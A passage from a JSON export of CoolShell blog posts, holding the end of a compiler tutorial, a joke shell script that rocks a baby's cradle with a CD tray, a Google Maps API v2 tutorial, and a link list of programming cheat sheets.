void\n}\nRunning code...\nCode was run.\n\n```\n\n8、结论\n----\n\n\n\n\n\n是不是非常的酷？我同意如果你只是从这篇文章中拷贝粘贴的话，你可能会对运行得到的结果感觉有点失望，但是这点结果可能也会激发你更大的兴趣。此外，这就是本文的意义，这不是本篇指导文章的结束，这只是一个开始。因为有了这篇文章的介绍，你可以在文法分析，语法分析和装配语言的时候附加上一些疯狂的特性，然后创造出一个你自己命名的语言。你现在已经可以编译语句块了，那么你现在应该已经有如何继续下去的基本想法。  \n\n本文完整的代码在Github[这里](http://github.com/lsegal/my_toy_compiler)。我一直都在避免提到这个代码，因为这个代码不是本文的重点，而仅仅是带过这部分代码。\n\n\n我意识到这是一篇非常长的文章，并且这篇文章中难免会有出错的地方，如果你找到了任何问题，在你觉得有空的时候，欢迎你给我发电子邮件，我将会调整我的文章。你如果向想我们共享一些信息，你也可以在你觉得有空的时候写信给我们。\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Richard Feynman, 挑战者号, 软件工程](../wp-content/uploads/2009/11/250px-ChallengerCrew-150x150.jpg)](https://coolshell.cn/articles/1654.html)[Richard Feynman, 挑战者号, 软件工程](https://coolshell.cn/articles/1654.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/2365.html)[两个C++的资源](https://coolshell.cn/articles/2365.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/652.html)[MySQL: InnoDB 还是 MyISAM?](https://coolshell.cn/articles/652.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/1660.html)[13个不错的Javascript和CSS的菜单](https://coolshell.cn/articles/1660.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/7448.html)[扎克伯格的一封信：关于Facebook IPO](https://coolshell.cn/articles/7448.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\nThe post [使用Flex Bison 和LLVM编写自己的编译器](https://coolshell.cn/articles/1547.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-10-12 用脚本实现哄小孩睡觉.md",
    "content": "---\nlayout: post\ntitle: 用脚本实现哄小孩睡觉\ndate: 2009/10/12/ 2:5:38\nupdated: 2009/10/12/ 2:5:38\nstatus: publish\npublished: true\ntype: post\n---\n\n![baby_linux](../wp-content/uploads/2009/10/baby_linux.jpg \"baby_linux\")当然，不并需要一个天才式的人才能做到这个事，其实这个事情很简单。让我来一点一点向你解释。下面是一些准备工作。\n\n\n* 首先，你得找一台PC机，得配上光驱，光驱可以破一点。\n* 然后，你得给这台PC机上装上Linux，不需要太多的东西，最基本的就行了。\n* 然后，你得写下下面的代码。\n\n\n\n\n```\n\nwhile [1 = 1]\n do\n\t#弹出光驱\n\teject\n\tsleep 1\n\n\t#收回光驱\n\teject -t\n\tsleep 1\n done\n\n```\n\n在运行代码之前，请确保你们小孩的摇篮和PC机的光驱连接在一起。当然，你也可以在脚本中播放一曲催眠曲。注意，脚本其中的sleep 1是为了配合上摇篮的节奏，这样需要你在实际过程中调试一下。\n\n\n这样的成本是不是有点高？居然还要达上一台电脑，呵呵。所以，我就不建议你用Windows来实现了，那样的成本可能会更高。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [![你可能不知道的Shell](../wp-content/uploads/2012/11/shell.01-150x150.png)](https://coolshell.cn/articles/8619.html)[你可能不知道的Shell](https://coolshell.cn/articles/8619.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/2987.html)[用脚本实现哄宝宝睡觉(Demo)](https://coolshell.cn/articles/2987.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/1379.html)[如何调试bash脚本](https://coolshell.cn/articles/1379.html)\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\nThe post [用脚本实现哄小孩睡觉](https://coolshell.cn/articles/1539.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-10-13 Google Maps API用法教程.md",
    "content": "---\nlayout: post\ntitle: Google Maps API用法教程\ndate: 2009/10/13/ 7:41:23\nupdated: 2009/10/13/ 7:41:23\nstatus: publish\npublished: true\ntype: post\n---\n\n在过去的一年中，在线地图的发展是相当巨大，我们可以看到在线地图的极有价值的信息和其能力。这其中，最有名气的自然是Google Maps。. Google Maps由一个相当强大的开发引擎并也有一个很大的社区提示支持。\n\n\nGoogle 允许各种web masters 通过Google Maps API来增加或自定义他们站点特定的地图，你可能从这里取得[Google API key](http://code.google.com/intl/en/apis/maps/signup.html \"Get a Google Maps API Key\") 。一个地图 API key只对一个“目录”或域有效。key绑定了你的域名，你要在网站上放地图，需要有对应的key，否则拒绝读取地图数据，在本地测试可以不用key。当然，你可以申请多个API key。\n\n\n#### 创建一个简单的地图\n\n\n在你的站点上引入Google Maps 是一件很简单的事情，你只需要加入：\n\n\n\n* 引入Google的JavaScript 文件\n* 设置JavaScript 一些参数\n* 一个你需要显示地图的HTML layer\n\n\n**Google的Javascript文件引入**:\n\n\n\n```\n\n<script\n    charset=\"UTF-8\"\n    src=http://maps.google.com/maps?file=api&v=2&hl=en&oe=utf-8&key=API_KEY\n    type=\"text/javascript\">\n</script>\n\n```\n\n***注意**：* 我们可以改变语言，比如说，把“**hl=en**” 改成中文“**hl=zh-CN**” 。我们还得要把“**API\\_KEY**” 改成我们向Google申请来的那个。\n\n\n**说明**: 使用 UTF-8 编码会更好些。\n\n\n**设置地图参数**:\n\n\n这是你可定制有个性化的Google Maps的地方。我们可以增加一些参数来改变地图的样式。例如，我们可以设置地图的载入和显示的坐标。下面是相关的代码：\n\n\n\n```\n]function initialize() {\n    if (GBrowserIsCompatible()) {\n        var map = new GMap2(document.getElementById(\"map_canvas\"));\n        map.setCenter(new GLatLng(37.97918, 23.71665), 13);\n        map.setUIToDefault();\n    }\n}\n```\n\n请注意上面高亮的那一条语句，第一个是纬度坐标和第二个是经度坐标，“13” 表示地图缩放的程度，这个值可以取1 到17。\n\n\n要知道所在地点的纬度和经度，你可以使用[这个工具](http://www.satsig.net/maps/lat-long-finder.htm \"Tool to get the coordinates of a location\")，这个工具很容易使用，只需要把地图移到你想要的区域，然后，把鼠标放在中心就可以了。\n\n\n#### 地图标记\n\n\n你可以在地图上放上一个标记来标出一个特定的位置，下面是一个示例代码。\n\n\n\n```\nvar point = new GLatLng(37.97110, 23.72601);\nmap.addOverlay(new GMarker(point));\n```\n\n于是，我们整个代码看起来是下面这个样子：\n\n\n\n```\nfunction initialize() {\n    if (GBrowserIsCompatible()) {\n        var map = new GMap2(document.getElementById(\"map_canvas\"));\n        map.setCenter(new GLatLng(37.97918, 23.71665), 13);\n        var point = new GLatLng(37.97110, 23.72601);\n        map.addOverlay(new GMarker(point));\n        map.setUIToDefault();\n    }\n}\n```\n\n上面的示例把我们的地图的中心放在了希腊雅典，标记了雅典卫城。\n\n\n**气球提示**\n\n\n气球提示一个很不错的界面，他可以用于放置一些小提示或或是一些信息。例如，下面的代码将放置一个在雅典卫城山上放一个气球提示来显示一些信息：\n\n\n\n```\nfunction initialize() {\n    if (GBrowserIsCompatible()) {\n        var map = new GMap2(document.getElementById(\"map_canvas\"));\n        map.setCenter(new GLatLng(37.97110, 23.72601), 13);\n        var html = \"Parthenon 帕台农神庙, 地址: Acropolis Hill\";\n        map.openInfoWindow(map.getCenter(),\n        document.createTextNode(html));\n        map.setUIToDefault();\n    }\n}\n```\n\n#### 活动标记\n\n\n我们可以合并一些标记和气球提示来创建一个活动标记，这样一来，我们可以达到这样的效果——当用户点击某个标记的时候才会显示提示。代码如下所示：\n\n\n\n```\nfunction initialize() {\n    if (GBrowserIsCompatible()) {\n        var map = new GMap2(document.getElementById(\"map_canvas\"));\n        map.setCenter(new GLatLng(37.97918, 23.71665), 13);\n        var baseIcon = new GIcon(G_DEFAULT_ICON);\n        baseIcon.shadow = \"http://www.google.com/mapfiles/shadow50.png\";\n        baseIcon.iconSize = new GSize(20, 34);\n        baseIcon.shadowSize = new GSize(37, 34);\n        baseIcon.iconAnchor = new GPoint(9, 34);\n        baseIcon.infoWindowAnchor = new GPoint(9, 2);\n\n        function createMarker(point, index) {\n            var redIcon = new GIcon(baseIcon);\n            redIcon.image = \"http://www.google.com/mapfiles/marker.png\";\n            markerOptions = { icon:redIcon };\n            var marker = new GMarker(point, markerOptions);\n            GEvent.addListener(marker, \"click\", function() {\n                marker.openInfoWindowHtml(\"Parthenon, Address: Acropolis Hill\");\n            });\n            return marker;\n        }\n\n        var latlng = new GLatLng(37.97110, 23.72601);\n        map.addOverlay(createMarker(latlng));\n    }\n}\n```\n\n让我来梳理一下上面的代码。下面的部分是在标记下增加一个阴影：\n\n\n\n```\nvar baseIcon = new GIcon(G_DEFAULT_ICON);\nbaseIcon.shadow = \"http://www.google.com/mapfiles/shadow50.png\";\nbaseIcon.iconSize = new GSize(20, 34);\nbaseIcon.shadowSize = new GSize(37, 34);\nbaseIcon.iconAnchor = new GPoint(9, 34);\nbaseIcon.infoWindowAnchor = new GPoint(9, 2);\n```\n\n标记的Action是在这里设置的：\n\n\n\n```\nfunction createMarker(point, index) {\n    var redIcon = new GIcon(baseIcon);\n    redIcon.image = \"http://www.google.com/mapfiles/marker.png\";\n    markerOptions = { icon:redIcon };\n    var marker = new GMarker(point, markerOptions);\n    GEvent.addListener(marker, \"click\", function() {\n        marker.openInfoWindowHtml(\"Parthenon, Address: Acropolis Hill\");\n    });\n    return marker;\n}\n```\n\n这里是我们的标记的坐标：\n\n\n\n```\nvar latlng = new GLatLng(37.97110, 23.72601);\nmap.addOverlay(createMarker(latlng));\n```\n\n### 载入地图\n\n\n我们可以通过两种方法载入地图。我们可以让地图在整网页载入时载入（通过使用body的load事件），也可以把载入过程赋给其它事件。下面的两个方法是我们需要注意的：\n\n\n* **initialize()** 载入地图\n* **GUnload()** 卸载地图以释放内存\n\n\n我们当然还需要使用HTML的DIV标签来指定一个ID，这样才能被JavaScript使用，在我们的示例中，我们使用“map\\_canvas”。我们也能使用CSS来渲染这个DIV层。\n\n\n### 定制地图\n\n\n你可以使用自定义的标记和阴影。有两个工具可以帮助你创建这些图标—— [地图标记](http://gmaps-utility-library.googlecode.com/svn/trunk/mapiconmaker/1.1/examples/markericonoptions-wizard.html \"Custom Marker Icons\") 和 [阴影](http://www.cycloloco.com/shadowmaker/ \"Custom Shadows for Maps\")。你也可以使用HTML和CSS来定义气球提示。\n\n\n#### 加入多个标记并分组\n\n\n我们可以标记多个地点，并可以把它们根据我们的需要分组。这样一来，我们可以通过不同的标记图标来显示地点的不同属性，比如：酒店，车站等。要做到这样，我们只需要使用一个XML文件，一个简单的XML文件如下所示：\n\n\n\n```\n\n<markers>\n<marker\n    name=\"标题\"\n    label=\"这是一个标签\"\n    desc=\"气球提示的描述\"\n    lat=\"37.97167\" lng=\"23.72581\"\n    type=\"标签的种类，如 Bridge\"\n    address=\"地址信息\"\n    icona=\"图标\"\n/>\n</markers>\n\n```\n\n你可以在这个XML文件中加入多个地点信息。有一件事你需要小心的是，当出现一一些特定字符时（比如单引号，双引号，[“#@$](mailto:“#@$)<>”等），你需要使用HTML的转义。\n\n\n使用这XML的脚本如下：\n\n\n`<script src=\"http://gmaps-utility-library.googlecode.com/svn/trunk/labeledmarker/release/src/labeledmarker.js\" type=\"text/javascript\"></script>`\n\n\n当然，你需要设置一些参数：\n\n\n\n```\nvar iconRed = new GIcon();\niconRed.image = '../img/marker-red.png';\niconRed.shadow = '';\niconRed.iconSize = new GSize(32, 32);\niconRed.shadowSize = new GSize(22, 20);\niconRed.iconAnchor = new GPoint(16, 16);\niconRed.infoWindowAnchor = new GPoint(5, 1);\nvar customIcons = [];\n\ncustomIcons[\"ancient\"] = iconRed;\nvar markerGroups = { \"ancient\": []};\n```\n\n上面，我们给customIcons 的“ancient”属性设置成了iconRed ，于是我们应该在我们的XML文件中使用类型(ancient) ，如果我们把这个XML文件命名为： markers.xml，那么，我们的代码如下：\n\n\n\n```\n\nGDownloadUrl(\"markers.xml\", function(data) { //We tell Google Maps to load our file\n        var xml = GXml.parse(data);\n        var markers = xml.documentElement.getElementsByTagName(\"marker\"); //and read markers\n        for (var i = 0; i < markers.length; i++) {\n            var name = markers[i].getAttribute(\"name\"); //From here down we assign variables.\n            var label = markers[i].getAttribute(\"label\");\n            var desc = markers[i].getAttribute(\"desc\");\n            var address = markers[i].getAttribute(\"address\");\n            var type = markers[i].getAttribute(\"type\");\n            var icona = markers[i].getAttribute(\"icona\");\n            var point = new GlatLng(parseFloat(markers[i].getAttribute(\"lat\")), //and we set the lat-long\n            parseFloat(markers[i].getAttribute(\"lng\")));\n            var marker = createMarker(point, name, label, desc, address, type, icona);\n            map.addOverlay(marker);\n        }\n    });\n}\n}\n\nfunction createMarker(point, name, label, desc, address, type, icona) {\n    var marker = new LabeledMarker(point, {icon: customIcons[type], labelText: label, labelOffset: new GSize(-6, -8)})\n};\n\n```\n\n要分组标记，你需要下面的代码：\n\n\n\n```\n\n    markerGroups[type].push(marker);\n    var html = \"<img src=\" + icona + \" height=150 border=0 /><br><br><span><b>\"+ name + \"</b><br/>\" +\n            desc + \"<br/><b>Address:</b> \" + address + \"<br/><br/><span>\";\n    GEvent.addListener(marker, 'click', function() {\n        marker.openInfoWindowHtml(html);\n    });\n    return marker;\n}\n\n```\n\n要使用不同的图标，你可以使用相同的方法。\n\n\n\n```\nvar iconRed = new GIcon();\niconRed.image = '../img/marker-red.png';\niconRed.shadow = '';\niconRed.iconSize = new GSize(32, 32);\niconRed.shadowSize = new GSize(22, 20);\niconRed.iconAnchor = new GPoint(16, 16);\niconRed.infoWindowAnchor = new GPoint(5, 1);\n\nvar iconGreen = new GIcon();\niconGreen.image = '../img/marker-green.png';\niconGreen.shadow = '';\niconGreen.iconSize = new GSize(32, 32);\niconGreen.shadowSize = new GSize(22, 20);\niconGreen.iconAnchor = new GPoint(16, 16);\niconGreen.infoWindowAnchor = new GPoint(5, 1);\n\nvar iconBrown = new GIcon();\niconBrown.image = '../img/marker-brown.png';\niconBrown.shadow = '';\niconBrown.iconSize = new GSize(32, 32);\niconBrown.shadowSize = new GSize(22, 20);\niconBrown.iconAnchor = new GPoint(16, 16);\niconBrown.infoWindowAnchor = new GPoint(5, 1);\n\nvar customIcons = [];\n\ncustomIcons[\"hotel\"] = iconRed;\ncustomIcons[\"bridge\"] = iconGreen;\ncustomIcons[\"hill\"] = iconBrown;\nvar markerGroups = { \"hotel\": [], \"bridge\": [], \"hill\": []};\n```\n\n所以，如果我们在XML 文件中设置了不同的种类，如：hotel，bridge 和 hill，我们也应该需要不同的颜色和图标。\n\n\n#### 过滤显示标记\n\n\n我们还可以让我们的标记更友好一些。我们可以让用户决定是否显示标记，这样的话，地图上的标记就不会太多，也会根据用户的需求来显示相当的标记。我们可以使用几个按钮，复选框，或是链接来完成这个事情。要做到这个事，你需要在“*map.addMapType(G\\_SATELLITE\\_3D\\_MAP);* ”后面加入下面的代码：\n\n\n\n```\ndocument.getElementById(\"hotelCheckbox\").checked = true;\ndocument.getElementById(\"bridgeCheckbox\").checked = true;\ndocument.getElementById(\"hillCheckbox\").checked = true;\ndocument.getElementById(\"labelsCheckbox\").checked = true;\n\n```\n\n然后再加入下面的这些 JavaScript 的代码：\n\n\n\n```\n\nfunction toggleGroup(type) {\n    for (var i = 0; i < markerGroups[type].length; i++) {\n        var marker = markerGroups[type][i];\n        if (marker.isHidden()) {\n            marker.show();\n        } else {\n            marker.hide();\n        }\n    }\n}\n\nfunction toggleLabels() {\n    var showLabels = document.getElementById(\"labelsCheckbox\").checked;\n    for (groupName in markerGroups) {\n        for (var i = 0; i < markerGroups[groupName].length; i++) {\n            var marker = markerGroups[groupName][i];\n            marker.setLabelVisibility(showLabels);\n        }\n    }\n}\n\nfunction hideAll() {\n    var boxes = document.getElementsByName(\"mark\");\n    for(var i = 0; i < boxes.length; i++) {\n        if(boxes[i].checked) {\n            boxes[i].checked = false;\n            switchLayer(false, layers[i].obj);\n            chosen.push(i);\n        }\n    }\n}\n\nfunction checkChecked() {\n    var boxes = document.getElementsByName(\"mark\");\n    for(var i = 0; i < boxes.length; i++) {\n        if(boxes[i].checked) return true;\n    }\n    return false;\n}\n```\n\n最后一件事是加如几个checkbox ：\n\n\n\n```\n\n<input type=\"hidden\" id=\"labelsCheckbox\" onclick=\"toggleLabels()\" checked=”checked” />\n<label for=”hotelCheckbox”>Hotels</label><input type=\"checkbox\" id=\"hotelCheckbox\" onclick=\"toggleGroup('hotel')\" checked=”checked” />\n<label for=”bridgeCheckbox”>Bridges</label><input type=\"checkbox\" id=\"bridgeCheckbox\" onclick=\"toggleGroup('bridge')\" checked=”checked” />\n\n```\n\n我们 Google Maps 就绪了，这篇文章讲述了Google Map API中你应该知道的。希望这篇文章对你有帮助。\n\n\n文章：[来源](http://jeez.eu/2009/10/09/google-maps-from-a-to-z/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5701.html)[SteveY对Amazon和Google平台的吐槽](https://coolshell.cn/articles/5701.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\nThe post [Google Maps API用法教程](https://coolshell.cn/articles/1561.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-10-13 程序员小抄大全.md",
    "content": "---\nlayout: post\ntitle: 程序员小抄大全\ndate: 2009/10/13/ 14:26:30\nupdated: 2009/10/13/ 14:26:30\nstatus: publish\npublished: true\ntype: post\n---\n\n![Cheat Sheet](../wp-content/uploads/2009/10/Cheating.jpg \"Cheat Sheet\")你是否会经常忘记一些CSS中的函数名或是一些属性名，那个时候，你一定觉得，如果手边有一个“小抄”（Cheat Sheet）就好了。当然，这个“小抄”不是给你作弊用的，这个“小纸条”就是可以让你马上知道那个你最想知道的东西。这个“小抄”上也不需要有所有的东西，就需要那些经常用的就行了。现在，网上有很多这样的“小抄”，它们可能是PDF格式的，可能是PNG格式的，你可以很方便地把其打印出来（可以打印得很小），然后贴在你的电脑旁，一但需要，瞟一眼就可以了，这对于我们的工作是相当方便的。\n\n\n之前，酷壳也有两篇关于速查卡的文章《[Web设计的速查卡](https://coolshell.cn/articles/870.html)》和《[Vim命令速查卡](https://coolshell.cn/articles/150.html)》，不过都不如本贴多。\n\n\n下面是N多的各种和样的“小抄”，其中包括了Ajax, C++, Java, Python, PHP, Perl, ASP, Unix, Ruby, Google, HTML, CSS, XML ……..，让我们姑且叫做“程序员小抄大全”吧。当然，他们都是英文版的，可能某些链接你可能需要翻墙软件才能访问。我这里就不教你怎么翻墙了，这样的贴子网上多的是。\n\n\n\n**Actionscript**\n\n\n* [Quick reference/Cheatsheet for ActionScript 2.0](http://actionscriptcheatsheet.com/blog/quick-referencecheatsheet-for-actionscript-20/)\n\n\n**Ajax**\n\n\n* [What’s Ajax? Cheat Sheet — PDF](http://slash7.com/cheats/whats_ajax_cheatsheet.pdf)\n* [Prototype Dissected — Cheat Sheet PNG](http://www.snook.ca/archives/javascript/prototype_disse/)\n* [scriptaculous Combination Effects — Cheat Sheet — PDF](http://slash7.com/cheats/scriptaculous_fx1.pdf)\n\n\n**Apache**\n\n\n* [Apache Cheat Sheet](http://www.petefreitag.com/cheatsheets/apache/)\n* [htaccess Cheatsheet](http://www.thejackol.com/htaccess-cheatsheet/)\n* [mod\\_rewrite Cheat Sheet — PNG](http://www.addedbytes.com/mod_rewrite_cheat_sheet.png)\n* [mod\\_rewrite Cheat Sheet — PDF](http://www.addedbytes.com/mod_rewrite_cheat_sheet.pdf)\n\n\n**ASCII Character Codes**\n\n\n* [Character Entity References in HTML 4 and XHTML 1.0](http://www.cookwood.com/html/extras/entities.html)\n* [HTML Character Entities Cheat Sheet — PNG](http://www.addedbytes.com/characters_cheat_sheet.png)\n* [HTML Character Entities Cheat Sheet — PDF](http://www.addedbytes.com/characters_cheat_sheet.pdf)\n* [HTML special character reference](http://www.chami.com/tips/internet/050798I.html)\n* [HTML — Special Entity Codes](http://tlt.its.psu.edu/suggestions/international/web/codehtml.html)\n* [Special ASCII HTML Character Codes](http://www.yellowpipe.com/yis/tools/ASCII-HTML-Characters/index.php)\n* [XHTML Character Entity Reference](http://www.digitalmediaminute.com/reference/entity/index.php)\n\n\n**ASP**\n\n\n* [ASP / VBScript Cheat Sheet — PNG](http://www.addedbytes.com/asp_cheat_sheet.png)\n\n\n**C# and VB.NET**\n\n\n* [C# and VB.NET Comparison Cheat Sheet — PDF](http://aspalliance.com/625)\n* [Cheat Sheet — Casting in VB.NET and C#](http://www.codeproject.com/dotnet/CheatSheetCastingNET.asp)\n\n\n**CSS**\n\n\n* [CSS 2 — Quick Reference Guide — PDF](http://www.veign.com/downloads/guides/qrg0007.pdf)\n* [CSS Cheat Sheet — PDF](http://www.addedbytes.com/css_cheat_sheet.pdf)\n* [CSS Cheat Sheet — PNG](http://www.addedbytes.com/css_cheat_sheet.png)\n* [CSS Property Index](http://www.blooberry.com/indexdot/css/propindex/all.htm)\n* [Cascading Style Cheatsheet](http://home.tampabay.rr.com/bmerkey/cheatsheet.htm)\n* [CSS Shorthand Guide](http://www.dustindiaz.com/css-shorthand/)\n\n\n**CVS**\n\n\n* [CVS Cheat Sheet](http://www-bcl.cs.unm.edu/computers/cvs.html)\n* [Subversion Quick Reference Card — PDF](http://www.cs.put.poznan.pl/csobaniec/Papers/svn-refcard.pdf)\n* [CVS Cheat-sheet](http://www.slac.stanford.edu/grp/cd/soft/cvs/cvs_cheatsheet.html)\n\n\n**C++**\n\n\n* [C++ Containers Cheat Sheet](http://www.linuxsoftware.co.nz/cppcontainers.html)\n* [C++ Quick Reference Sheet (Cheat Sheet) — PDF](http://downloads.dreamincode.net/ref_sheets/cpp_reference_sheet.pdf)\n* [How to Program in C++ — Language Summary](http://cs.fit.edu/%7Emmahoney/cse2050/how2cpp.html)\n\n\n**Django**\n\n\n* [The Django Book](http://www.djangobook.com/ \"The Django Book\")\n\n\n**Firefox**\n\n\n* [Firefox Keyboard Shortcuts — PDF](http://the-cream.blogspot.com/2006/10/firefox-keyboard-shortcuts.html)\n* [Firefox Shortcuts Sheet](http://www.accessfirefox.com/ShortcutsKandM.html)\n* [Mozilla Firefox Cheat Sheet](http://lesliefranke.com/2006/06/22/mozilla-firefox-cheat-sheet-update/)\n* [Mozilla Thunderbird Cheat Sheet](http://lesliefranke.com/files/reference/thunderbirdcheatsheet.html)\n* [Keyboard Shortcuts](http://www.mozilla.org/support/firefox/keyboard)\n\n\n**Google**\n\n\n* [Gmail Shortcuts (printable cheatsheet)](http://evhead.com/hodgepodge/gmail-shortcuts.html)\n* [Google Advanced Operators (Cheat Sheet)](http://www.googleguide.com/advanced_operators_reference.html)\n* [Google Cheat Sheet (Version 1.06) — PDF](http://www.adelaider.com/google/)\n* [Google Cheat Sheet — auch als PDF](http://www.bueltge.de/allg-google-cheat-sheet/42/)\n* [Google Cheat Sheets — auch als PDF](http://www.feedsforme.com/google/)\n* [Google Help : Cheat Sheet](http://www.google.com/help/cheatsheet.html)\n\n\n**HTML/XHTML**\n\n\n* [A Simple Guide To HTML — Cheat Sheet](http://www.alphalink.com.au/%7Erhduncan/htmlguide/cheatindex.html)\n* [HTML & XHTML Tag Quick Reference](http://library.albany.edu/imc/pdf/HTML-XHTML_Tag_Sheet.pdf)\n* [HTML Cheat Sheet](http://www.psacake.com/web/dy.asp)\n* [HTML Entities](http://www.cookwood.com/html/extras/entities.html)\n* [HTML CODES CHEAT SHEET](http://www.killersites.com/HTML_CODES/index.jsp)\n* [XHTML](http://cdburnerxp.se/htmlcheatsheet.pdf)\n* [HTML Cheat Sheet](http://www.angelfire.com/nm/thehtmlsource/html/cheatsheet.html)\n* [XHTML Cheat Sheet v. 1.03 — PDF](http://cdburnerxp.se/htmlcheatsheet.pdf)\n\n\n**Java**\n\n\n* [Java Quick Reference — PDF](http://www.janeg.ca/JQREF.pdf)\n* [(](http://java.sun.com/products/jsp/syntax/1.1/card11.pdf)[JSPª) SYNTAX version 1.1](http://java.sun.com/products/jsp/syntax/1.1/card11.pdf)\n* [(JSPhttps://s.w.org/images/core/emoji/14.0.0/72x72/2122.png) SYNTAX version 2.0](http://java.sun.com/products/jsp/syntax/2.0/card20.pdf)\n\n\n**JavaScript**\n\n\n* [JavaScript Cheat Sheet — PNG](http://www.addedbytes.com/javascript_cheat_sheet.png)\n* [JavaScript Cheat Sheet — PDF](http://www.addedbytes.com/javascript_cheat_sheet.pdf)\n* [JavaScript Reference](http://javascript-reference.info/)\n* [JavaScript and Browser Objects Quick Reference](http://www.dannyg.com/ref/jsquickref.html)\n* [Regular Expressions for JavaSript — free online quick reference](http://www.visibone.com/regular-expressions/)\n\n\n**Microformats**\n\n\n* [Microformats Cheat Sheet](http://www.addedbytes.com/cheat-sheets/microformats-cheat-sheet/)\n* [Microformats Cheat Sheet](http://suda.co.uk/projects/microformats/cheatsheet/)\n\n\n**Misc**\n\n\n* [CHMOD Chart](http://www.draac.com/chmodchart.html)\n* [Complete listing of common camera symbols.](http://photonotes.org/cgi-bin/view.pl?letter=%21)\n* [The Unicode-Database](http://www.sql-und-xml.de/unicode-database/)\n* [RGB Hex Colour Chart — PNG](http://www.addedbytes.com/colourchart.png)\n* [Pretty Good PGP Reference Card](http://www.geocities.com/Athens/1802/pgpcard.html)\n* [Search Engine Cheat Sheet](http://www.aiic.net/ViewPage.cfm/page302.htm)\n* [Quick Reference Cards](http://www.digilife.be/quickreferences/quickrefs.htm)\n\n\n**MySQL**\n\n\n* [MySQL Cheat Sheet](http://www.nparikh.org/unix/mysql.php)\n* [MySQL Cheat Sheet — PDF](http://www.addedbytes.com/mysql_cheat_sheet.pdf)\n* [MySQL Cheat Sheet — PNG](http://www.addedbytes.com/mysql_cheat_sheet.png)\n* [SQL Cheatsheet](http://www.3gwt.net/demo/SQL_redux.html)\n\n\n**Oracle**\n\n\n* [Oracle PL/SQL Cheatsheet](http://www.yagc.ndo.co.uk/cheatsheets/plsql_cheatsheet.html)\n* [Oracle Cheat Sheet](http://www.vttoth.com/oracle.htm)\n* [Oracle SCM Installation Cheat Sheet](http://radio.weblogs.com/0128037/stories/2003/10/21/oracleScmInstallationCheatSheet.html)\n\n\n**Perl**\n\n\n* [Perl Regular Expression -Quick Reference — PDF](http://www.mnlab.cs.depaul.edu/%7Eehab/Courses/TDC568/resources/PerlQuickRef.pdf)\n* [Perl Cheat Sheet](http://juerd.nl/site.plp/perlcheat)\n* [Perl Cheat Sheet](http://juerd.nl/site.plp/perlcheat)\n* [Perl 5 Cheat Sheet](http://search.cpan.org/%7Enwclark/perl-5.8.7/pod/perlcheat.pod)\n* [Perl Quick Reference Card — PDF](http://johnbokma.com/perl/perl-quick-reference-card.html)\n* [Perl Regexp Quick Reference Card — PDF](http://refcards.com/refcards/perl-regexp/index.html)\n\n\n**Photoshop/Gimp**\n\n\n* [Gimp Quick Reference Card v.1.0](http://frenchfragfactory.net/ozh/download/refcards/Gimp.pdf)\n* [Photoshop 7.0 Quick Reference Card for Windows — PDF](http://frenchfragfactory.net/ozh/download/refcards/Photoshop.pdf)\n* [Photoshop CS2 Keyboard Shortcuts (Windows) — PDF](http://www.creativetechs.com/tips/tip_resources/PSCS2_Shortcuts_Windows.pdf)\n* [Photoshop 